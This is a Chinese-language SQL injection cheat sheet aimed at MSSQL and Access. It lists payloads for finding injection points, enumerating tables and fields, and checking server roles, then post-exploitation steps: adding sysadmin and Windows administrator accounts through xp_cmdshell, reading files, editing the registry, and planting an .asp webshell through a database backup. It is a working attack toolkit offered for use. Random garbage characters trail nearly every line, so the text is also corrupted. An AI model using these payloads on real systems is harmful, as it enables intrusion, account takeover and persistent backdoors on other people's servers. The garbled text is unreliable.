1.判断是否有注入;and 1=1 ;and 1=2 6s.>5}M!
2.初步判断是否是mssql ;and user>0 !sVW0JS h
(z.4er}o
3.注入参数是字符'and [查询条件] and ''=' 'H8b+
G,X> f?
4.搜索时没过滤参数的'and [查询条件] and '%25'=' &gdhq~4#
jPIOBEIG
5.判断数据库系统 _T.T[%-&=
frRO?
;and (select count(*) from sysobjects)>0 mssql HVz|*?&6
q[TGEgG
;and (select count(*) from msysobjects)>0 access X1XmaO%A
z1m-t#v:
6f*QUw~
=3;~7bYO
6.猜数据库 ;and (select Count(*) from [数据库名])>0 SG@E*yT1
fq?MnWc
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 bH}?DMq]O
\AOHZ r
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ^wlo;.8Y
duV\Kt/g^
9.(1)猜字段的ascii值(access) @5j3[e
^&7gUH*v
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 P$v9
}X9G(`N(}
(2)猜字段的ascii值(mssql) @/8O@^
2l}H=DZV
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 888"X3.T
>@0U B@
10.测试权限结构(mssql) #BW:*$>}
Utj4f-M
)}to7r7`
tjJi|
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ,lFhLj7
4 3G2{
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- y:YJv x6&4
rqTsKrLe
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .#{m1mr
xM:9XhH1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }u.I%{4
S0WKEv@Hn
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- PouWRGS_
}k0B
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- bScW<DZJ-
HX#$ ^@Q(
;and 1=(select IS_MEMBER('db_owner'));-- ]$)U~)T
iW
>Yx,%a@~R
!bBx'
H`OJN.
11.添加mssql和系统的帐户 ~\OZEEI
i#I7ncX
;exec master.dbo.sp_addlogin username;-- AGV+Y6
;exec master.dbo.sp_password null,username,password;-- BnU3oP
o&RNpP*
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5Ve
T8/7Q
Q#PkfjXS
;exec master.dbo.xp_cmdshell 'net user username password lnnT_[ni.
^=ar Kp,?5
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {ewo-dva
O4oI&i 7
;exec master.dbo.xp_cmdshell 'net user username password /add';-- nEgYypwr
%I#[k4,N
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .zo>,*:t
Ap!Y 3C
7e=s`j
rLE5fl5W
12.(1)遍历目录 y eWB.M~X
C zxF
;create table dirs(paths varchar(100), id int) "H|hN
s
>7(S%#N
;insert dirs exec master.dbo.xp_dirtree 'c:\' 5GwzG<.\^_
&+" )~2
+
;and (select top 1 paths from dirs)>0 -"5r-q q*
<xh";seL
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) HFW8x9Cc
v5 I}a7
<|;)iT1VeT
I`q"
(2)遍历目录 K?6#jT6#
]O0:0Z\
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Eb89B%L62G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 k? !'OHmBL
(3N;-
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ok/{ w
#T08H,W/
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 w0,rFWS
-5GRit1q?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 7 ;SI=
vJsx_i\i
6Gh3r
>?(}F':
13.mssql中的存储过程 sh;>6xB
lx&;?QQ
xp_regenumvalues 注册表根键, 子键 \s_`ZEB
@(any^QJ
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :tT6V(-W
h[oI/X
xp_regread 根键,子键,键值名 VH6J
@m
i|CAN,'
;exec xp_regread u%AyW
%ql2 XAY
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Pvz\zRq
nZ/pi$7
xp_regwrite 根键,子键, 值名, 值类型, 值 Yl"l|2
:
frUO+
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 nE=,=K~
#_'|
TT>p#
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 VP_S[+Zv~
Qw.j
xp_regdeletevalue 根键,子键,值名 uolEX+
*d&+?!
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 A x'o|RE)x
DgKe!w$
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 C]NL9Gq`
|WsB0R
=v7%IRP5
L]{1@~E:q
14.mssql的backup创建webshell o|nN0z)b4
9K4Jg]?
use model 8'o6:
b9 TsuY
create table cmd(str image); s'=w/os
|%12Vr]J
insert into cmd(str) values (''); 0 ![
$kd9^lj#[
backup database model to disk='c:\l.asp'; UBM:.*wN
>M^4p
TyN]P a
4x2,X`pe3
15.mssql内置函数 j S<."a/n
l G $s(
;and (select @@version)>0 获得Windows的版本号 d'2q~
rixt_}aE
;and user_name()='dbo' 判断当前系统的连接用户是不是sa @h!nVf%fe
!uSG 1j"y
;and (select user_name())>0 爆当前系统的连接用户 <L+y
6B
+|zcjI'=O
;and (select db_name())>0 得到当前连接的数据库 ,O`~ D~$
^(~%'f
U flS`
.?)gn]#
16.简洁的webshell Ms14]M[\
N~+ e\K6
use model $n* wS,
=jkiM_<h
create table cmd(str image); Jo4iWJpK
=>X"
insert into cmd(str) values (''); r0,XR
cc{^0JT
backup database model to disk='g:\wwwtest\l.asp';